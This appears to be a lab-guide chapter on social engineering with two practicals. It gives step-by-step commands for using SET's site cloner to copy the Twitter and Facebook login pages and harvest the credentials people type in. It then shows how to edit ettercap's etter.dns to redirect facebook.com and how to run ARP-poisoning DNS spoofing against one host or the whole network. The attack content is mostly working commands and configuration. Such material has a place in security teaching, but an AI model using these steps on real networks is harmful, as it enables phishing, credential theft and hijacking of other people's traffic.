8. Social Engineering

Practical 1: Creating phishing page using setoolkit in Kali Linux

1. Open a terminal and enter the following command:

```
setoolkit
```

It will start social engineering toolkit from Kali Linux. It will have all the options in terms of menus.

2. Select option 1 to go inside “Social-Engineering Attacks”.

3. After that select option 2 to go inside “Website Attack Vectors”.

4. Then select option 3 to enter “Credentials Harvester Attack Method”.

5. Finally select option 2 to enter “Site Cloner”.

6. It will ask IP Address for POST the back action in Harvester / Tabnabbing in that you need to enter your Kali Linux machine’s IP address.

7. Lastly it will ask for Enter the URL to clone, in that you need to provide that webpage URL that you want to clone and run in your local server.
For example:
https://www.twitter.com/login.php
https://www.facebook.com

Once it is done, setoolkit will take some time to clone that page and run on your IP. On successful completion, you can go to your victim’s system and enter Kali Linux IP address in browser. You will see it will load the fake page which the attacker cloned. Over there if your provide any credentials, all that will pass to Kali Linux machine.

Note:
Make sure your Apache Web Server is not running before launching this attack. To confirm:

```
service apache 2 status
```

And to stop:

```
service apache2 stop
```

Practical 2: DNS Spoofing MITM Attack

Note: MITM attacks can be lot more dangerous and can downgrade the network performance. It is highly recommended to do this attacks in virtual environment and keep the Network Adapter in NAT mode.

1. In Kali Linux open a terminal windows and enter following command:

```
locate etter.dns
```

To find the host file of ettercap dns_spoof plugin.

2. Enter the command to open the file with text editor

```
leafpad /etc/ettercap/etter.dns
```

3. Once you open the etter.dns file, you need to configure what URL you want to get redirected towards which IP Address. Then save the file and close it.
For example:

```
facebook.com      A      192.168.116.128
*.facebook.com    A      192.168.116.128
www.facebook.com         PTR  192.168.116.128
```

The above settings will spoof the facebook requests towards provided IP address.

4. Then start the terminal and enter the command in following syntax:

```
ettercap -q -T -M arp:remote -P dns_spoof //<target IP>// //router IP//
```

For Example:

```
ettercap -q -T -M arp:remote -P
dns_spoof //192.168.116.129// //192.168.116.2//
```

The above command will only perform the attack on provided IP address machine.
If you want to perform this attack in the entire network then you need to enter following command:

```
ettercap -q -T -M arp:remote -P dns_spoof /// ///
```

Note:
Before launching DNS spoofing attack, you should first run phishing attack to display a fake page.